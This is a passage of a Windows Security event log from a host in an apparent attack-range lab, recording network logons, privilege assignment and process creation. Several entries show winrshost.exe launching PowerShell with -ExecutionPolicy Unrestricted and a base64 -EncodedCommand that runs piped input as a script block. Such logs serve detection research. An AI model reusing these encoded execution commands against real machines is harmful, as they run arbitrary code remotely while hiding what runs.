JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246065 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x73696 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246064 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x73696 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246063 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246062 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246061 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd04 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe74 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246060 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe74 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd08 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246059 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x731F9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246058 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x731F9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246057 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246056 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246055 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcfc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd08 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246054 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Process Information: - New Process ID: 0xd08 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246053 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246052 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246051 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246050 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: 